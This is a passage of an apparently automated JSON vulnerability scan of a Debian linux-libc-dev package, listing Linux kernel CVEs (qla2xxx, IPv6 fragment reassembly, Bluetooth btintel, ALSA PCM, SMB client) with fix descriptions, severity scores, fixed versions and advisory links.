"https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97417.mbox", "https://git.kernel.org/stable/c/0d5ad732e4fdc569eb85861115e8f7b4c2c67852", "https://git.kernel.org/stable/c/4abc1af7ac209c066f4e5dd75cdd56876e5829a9", "https://git.kernel.org/stable/c/55bcc3376cd7b18954cc9814da697504fdaf12bf", "https://git.kernel.org/stable/c/740ad3d17a281f7764dda4dbeb37cea52e2e31ae", "https://git.kernel.org/stable/c/7ecfa46a536578a7ed335ddf31a854127268c27c", "https://git.kernel.org/stable/c/a0523267de2523522b0f70972dd1ffa22ec6176c", "https://git.kernel.org/stable/c/d3bf9eae486490832bd08fd62ab0ac601f346bd4", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-peim2i8jgivr.toml", "https://linux.oracle.com/cve/CVE-2026-97417.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97417", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-97417" ], "PublishedDate": "2026-09-24T17:17:19.457Z", "LastModifiedDate": "2026-10-03T11:17:53.747Z" }, { "VulnerabilityID": "CVE-2026-97528", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97528", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fc479b4178b6e9e68fd3f8fa53fc640f8a32fe560a454419e07b541a9b2bbf9a", "Title": "kernel: scsi: qla2xxx: Unlink NVMe unsol ctx before freeing on LS reject error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Unlink NVMe unsol ctx before freeing on LS reject error\n\nqla_nvme_xmt_ls_rsp() obtains uctx, which was linked into\nfcport-\u003eunsol_ctx_head by qla2xxx_process_purls_iocb() and is still linked\nwhen the NVMe transport calls back to transmit the LS response. On the\nerror (out:) path the function frees uctx with kfree() but never removes\nit from the list. This leaves a freed node in fcport-\u003eunsol_ctx_head: the\nnext list_add_tail() for that fcport writes through the freed node, and a\nsubsequent list_del() can corrupt the list or panic.\n\nUnlink uctx with list_del() before kfree() on the error path, matching the\nother free sites in qla_nvme_release_lsrsp_cmd_kref() and\nqla2xxx_process_purls_pkt(). qla2x00_rel_sp() in the failure path only\nreturns the SRB to its pool and does not invoke sp-\u003eput_fn, so the out:\npath is the sole free and uctx is always still linked there.", "Severity": "HIGH", "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-97528", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97528.mbox", "https://git.kernel.org/stable/c/925a9129a514b7c3bc0a8af01e51868adbb9a83e", "https://git.kernel.org/stable/c/a95fc5f1c12bba1dbff72bd2611e7fad0758831b", "https://git.kernel.org/stable/c/c55d649a6cc246c3ccd5d118faea230c46b60f35", "https://git.kernel.org/stable/c/cbbf1484496aac86038e67ac984949af58009d4b", "https://git.kernel.org/stable/c/e46160a5d4fa59bf4d5f3412b6b5cb79edb967dd", "https://linux.oracle.com/cve/CVE-2026-97528.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97528", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-97528" ], "PublishedDate": "2026-09-25T11:17:02.98Z", "LastModifiedDate": "2026-10-21T13:21:12.063Z" }, { "VulnerabilityID": "CVE-2026-97602", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-97602", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f0164f95f26c796a443e4422cb4cd41b44cf25fbe22133bc510b3626b0e46f6", "Title": "kernel: inet: frags: invalidate queues before flushing them", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ninet: frags: invalidate queues before flushing them\n\nfqdir_pre_exit() flushes the skbs from incomplete queues without\nchanging their completion state. A fragment which found a queue before\nhigh_thresh was cleared can then acquire the queue lock and reuse stale\nreassembly metadata. A queue concurrently killed after fqdir-\u003edead is\nset can instead become INET_FRAG_COMPLETE|INET_FRAG_HASH_DEAD while\nstill holding its old skbs; skipping it because it is complete leaves\nthose references behind until asynchronous fqdir teardown.\n\nFor IPv6, stale metadata can make ip6_frag_reasm() use the old\nnhoffset with a new skb and access memory out of bounds. The resulting\nheap corruption can be leveraged for local privilege escalation when\nunprivileged network namespaces are available. Unflushed fragments can\nalso keep conntrack references alive after the conntrack per-net\ncleanup point.\n\nKill each incomplete queue, then flush every queue still owned by the\ndying rhashtable. HASH_DEAD identifies that ownership, while complete\nqueues without it are already owned by another destroy path and must be\nleft alone. Releasing a timer reference removed by inet_frag_kill() is\ndeferred to inet_frag_putn(), after the queue lock is dropped.\n\nKASAN report:\n\n BUG: KASAN: slab-out-of-bounds in ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n Write of size 1 at addr ff110001039c6e00 by task poc/771\n Call Trace:\n ? ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n ipv6_frag_rcv (net/ipv6/reassembly.c:289 (discriminator 2) net/ipv6/reassembly.c:229 (discriminator 2) net/ipv6/reassembly.c:391 (discriminator 2))\n ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:479 (discriminator 5))\n ip6_input_finish (net/ipv6/ip6_input.c:534)\n ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3))\n packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n The buggy address belongs to the object at ff110001039c6b40\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 0 bytes to the right of\n allocated 704-byte region [ff110001039c6b40, ff110001039c6e00)\n\n BUG: KASAN: slab-out-of-bounds in ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n Read of size 1 at addr ff110001039c6e08 by task poc/771\n Call Trace:\n ? ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n ip6_protocol_deliver_rcu (net/ipv6/ip6_input.c:423 (discriminator 1))\n ip6_input_finish (net/ipv6/ip6_input.c:534)\n ipv6_rcv (include/net/dst.h:480 (discriminator 3) net/ipv6/ip6_input.c:119 (discriminator 3) net/ipv6/ip6_input.c:109 (discriminator 3) include/linux/netfilter.h:325 (discriminator 3) include/linux/netfilter.h:319 (discriminator 3) net/ipv6/ip6_input.c:351 (discriminator 3))\n packet_sendmsg (net/packet/af_packet.c:3110 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n packet_sendmsg (net/packet/af_packet.c:2959 net/packet/af_packet.c:3053 net/packet/af_packet.c:3142)\n __x64_sys_sendmmsg (net/socket.c:2883 net/socket.c:2880 net/socket.c:2880)\n The buggy address belongs to the object at ff110001039c6b40\n which belongs to the cache skbuff_small_head of size 704\n The buggy address is located 8 bytes to the right of\n allocated 704-byte region [ff110001039c6b40, ff110001039c6e00)", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97602", "https://access.redhat.com/security/cve/CVE-2026-97602", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-97602.mbox", "https://git.kernel.org/stable/c/7cb5f4643a7fcdbfbee1fad3cdfc678add62d378", "https://git.kernel.org/stable/c/b824476c56a153934c67c9e0f873e1fd967743d6", "https://git.kernel.org/stable/c/b9d77f1652e79e58eac48430d0431c329137efcc", "https://git.kernel.org/stable/c/bf3d6c44c84c57e8a4bb7f40ad95b64f9b0198ba", "https://git.kernel.org/stable/c/ff83367cda8eefbd62007ef1dff4f8104226d18a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.5.0/BRSA-kpcyj8dhsnn5.toml", "https://linux.oracle.com/cve/CVE-2026-97602.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-97602", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-97602" ], "PublishedDate": "2026-09-25T11:17:11.573Z", "LastModifiedDate": "2026-10-19T10:17:29.963Z" }, { "VulnerabilityID": "CVE-2026-98110", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98110", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:61d319c4a0dac6b879bf5958f81f2fac930b768421773076ad56e7fe51bc4cb6", "Title": "kernel: Bluetooth: btintel: bound firmware ID by TLV length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: bound firmware ID by TLV length\n\nThe firmware ID is treated as a NUL-terminated string even though the\nTLV length is its only boundary. If the value does not contain a NUL\nterminator, snprintf() can read beyond the received response.\n\nLimit the conversion to the advertised TLV value length.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98110", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98110.mbox", "https://git.kernel.org/stable/c/058f56de5f48ba4b3be01526006ac83ce9e79f39", "https://git.kernel.org/stable/c/a07b3024a927892dd46e7dfbed438e8834e24098", "https://git.kernel.org/stable/c/ac8aa9e0ec93a12a60230066f199f49c3b9aac3d", "https://git.kernel.org/stable/c/aef56a2bd5aa22808ce508605d7497d2b5e8eb5f", "https://linux.oracle.com/cve/CVE-2026-98110.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98110", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98110" ], "PublishedDate": "2026-09-25T11:17:42.113Z", "LastModifiedDate": "2026-10-28T18:41:29.217Z" }, { "VulnerabilityID": "CVE-2026-98111", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98111", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f08b5bedf05f8f50e98b683f19215f64f95031cbabd0f4c9a44498c2241c1b96", "Title": "kernel: Bluetooth: btintel: validate version TLV value lengths", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: btintel: validate version TLV value lengths\n\nbtintel_parse_version_tlv() verifies that a complete TLV is present in\nthe response, but it does not ensure that the value is long enough for\nthe specific TLV type. A short value can therefore cause an\nout-of-bounds read through get_unaligned_le16(), get_unaligned_le32(),\nor memcpy().\n\nReject values shorter than the minimum required by each known TLV type.\nAlso reject responses that do not contain the Command Complete Status\nfield.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98111", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98111.mbox", "https://git.kernel.org/stable/c/5ec43df2830b73e004147303bf7914ca884d6770", "https://git.kernel.org/stable/c/76948d207d0978a613ce06a05cba07284a5578a7", "https://git.kernel.org/stable/c/83499ac3ca62e43ed40f7574b13ed398a6891511", "https://git.kernel.org/stable/c/a086c0892969bf8a0151b0f12bd14a68827c88b2", "https://git.kernel.org/stable/c/e9cf7f175c00d36b060828f4eac8d2e246ee079b", "https://linux.oracle.com/cve/CVE-2026-98111.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98111", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98111" ], "PublishedDate": "2026-09-25T11:17:42.223Z", "LastModifiedDate": "2026-10-28T18:45:26.26Z" }, { "VulnerabilityID": "CVE-2026-98116", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98116", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7a98714fd9d935daf8dec7e22f7f985a39bbdb34dd1c69916916b3083c6ebadc", "Title": "kernel: ALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: pcm: Serialize PCM mmap with buffer reallocation to fix page UAF\n\nsnd_pcm_hw_params() and snd_pcm_hw_free() guard buffer reallocation\nwith an mmap_count check performed under the PCM stream lock, but the\nlock is released long before the buffer is actually freed:\nsnd_pcm_sync_stop(), constraint refinement and do_free_pages() all\nhappen in between. snd_pcm_mmap_data(), on the other hand, takes no\nlock at all: it validates against the old buffer's state and\ndma_bytes, remaps its pages into the VMA, and only then increments\nmmap_count.\n\nA concurrent mmap() can therefore slip in between the check and the\nfree. remap_pfn_range() installs writable PTEs for the old buffer's\npages without taking page references, and the subsequent\ndo_free_pages() returns those pages to the page allocator while the\nVMA still maps them. This leaves a stale, writable mapping of freed\npages: a page-level use-after-free that can be leveraged for local\nprivilege escalation.\n\nMake snd_pcm_mmap_data() participate in the buffer-access scheme\nintroduced for hw_params/hw_free: acquire runtime-\u003ebuffer_accessing\nbefore validating and remapping, and release it afterwards. Buffer\nreallocation already fails with -EBUSY while accessors are active,\nand the mmap side now fails with -EBUSY while a reallocation is in\nprogress, so the validate/remap sequence and the check/free sequence\ncan no longer interleave.\n\nA reproducer that turns this race into a stale writable mapping of\nthe freed DMA buffer pages is available on request.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98116", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98116.mbox", "https://git.kernel.org/stable/c/8c1882dfee8f404d118020664b73eb4592172226", "https://git.kernel.org/stable/c/9857a75714bb5df4781e4d8b1a1753b1e17bf07a", "https://git.kernel.org/stable/c/9b110a9dcecc59516c77cb3c0caf1f492f75df2d", "https://git.kernel.org/stable/c/cbadf2575d25e7dcc0d4da2717817ae569fbc99b", "https://git.kernel.org/stable/c/cbc7ec97601d09b74e05e44470fa6b0bcdabf3f5", "https://git.kernel.org/stable/c/e6cdd2a0470d64073349a970dc1691433804b271", "https://git.kernel.org/stable/c/fd137bf8149bc6460f9b7b1fc292025da04cb9ee", "https://linux.oracle.com/cve/CVE-2026-98116.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98116", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98116" ], "PublishedDate": "2026-09-25T11:17:42.78Z", "LastModifiedDate": "2026-10-28T16:10:22.6Z" }, { "VulnerabilityID": "CVE-2026-98118", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98118", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c1d41ca75e47a901c196325735a7cdedac900efbe333f6cb03c208eaa9948c8d", "Title": "kernel: netfs: Fix readahead synchronisation issues by loading all folios upfront", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfs: Fix readahead synchronisation issues by loading all folios upfront\n\nThere are some synchronisation issues that derive from the app thread\nadding more folios to the rolling buffer whilst the collector thread is\nlooking at them or trying to clear them, such as determining the setting of\nfront_folio_order when the next folio hasn't been added yet,\n\nThe reason for the rolling buffer approach is that loading the buffer\nupfront and then dropping all the refs just acquired is quite a slow\noperation, and loading progressively allows some of the cost to be deferred\nuntil after at least some of the I/O is started.\n\nInstead, a better way is to load all the folios into the rolling buffer\nupfront - and then drop the refs later, once the I/O is in progress. (Even\nbetter would be for the refs not to be there at all.)\n\nFix this by changing the rolling buffer loader to load all the folios\nselected by the VM for readahead upfront into the folio queue. The folio\nqueue is allocated a batch worth at a time as we don't know how many folios\nare involved (the readahead_control struct, alas, has a page count, not a\nfolio count).\n\nThe folio refs acquired from readahead are then dropped in bulk once the\nfirst subrequest is dispatched as it's quite a slow operation. The\ncollector waits for NETFS_RREQ_NEED_PUT_RA_REFS to be cleared so that it\ndoesn't unlock folios before the xarray has been scanned for them.\n\nThis simplifies the buffer handling later and isn't noticeably slower as\nthe xarray doesn't need to be modified and the folios are all already\npre-locked.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98118", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98118.mbox", "https://git.kernel.org/stable/c/8c9b33945712074a85d3bdacbca036ba6b3d92c6", "https://git.kernel.org/stable/c/fed0b33e6c584986ba70018ec9f9787a98216e64", "https://nvd.nist.gov/vuln/detail/CVE-2026-98118", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98118" ], "PublishedDate": "2026-09-25T11:17:43.03Z", "LastModifiedDate": "2026-10-28T16:00:38.963Z" }, { "VulnerabilityID": "CVE-2026-98155", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98155", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5034dfc8b49d8b80b686ab06f4725d274d75894ddc35207f913d663fbbb88639", "Title": "kernel: accel/qaic: Address potential out-of-bounds read in resp_worker()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\naccel/qaic: Address potential out-of-bounds read in resp_worker()\n\nAlthough 'commit 2feec5ae5df7 (\"accel/qaic: Handle DBC deactivation if the\nowner went away\")' fixes the scenario it was intended for by walking the\nmessage and only decoding QAIC_TRANS_DEACTIVATE_FROM_DEV, if present, it\nskipped over the bounds checking code that is included in decode_message().\nThis could lead to issues such as reading past the slab allocation's end,\ninfinite loops or kernel panics. For those issues to happen, a malformed\nwire message is needed to be sent from the device.\n\nInstead of duplicating the bounds checking code already present in\ndecode_message(), use the function inside resp_worker().", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98155", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98155.mbox", "https://git.kernel.org/stable/c/12deeade460d47031267256ba07add51cc7eabd0", "https://git.kernel.org/stable/c/5807a65f301b6c0e73a2dc03dd6f5e80a2861b72", "https://git.kernel.org/stable/c/ab243f74ab4084ca5c8dec608cb5b0deb27db067", "https://git.kernel.org/stable/c/c72e81ee46bdd4c221114d6e9515e9b4647616d7", "https://git.kernel.org/stable/c/f4b64488f3deca63f7fbc7d7c3835b2e668003f9", "https://nvd.nist.gov/vuln/detail/CVE-2026-98155", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98155" ], "PublishedDate": "2026-09-25T11:17:47.157Z", "LastModifiedDate": "2026-10-20T17:19:25.33Z" }, { "VulnerabilityID": "CVE-2026-98171", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98171", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf480d3eb3e662bb482ee371b197ee66c0525d151771b503d53024560b6c73c8", "Title": "kernel: kernel: Use-after-free in SMB client via malformed compound encrypted frames", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: fix next_buffer UAF and NextCommand bounds in compound PDUs\n\nFix several related bounds checking and pointer lifecycle issues in\nreceive_encrypted_standard()'s handling of compound encrypted frames:\n\n- Clear next_buffer after assigning it to server-\u003ebigbuf. A stale\n next_buffer pointer can lead to a use-after-free on 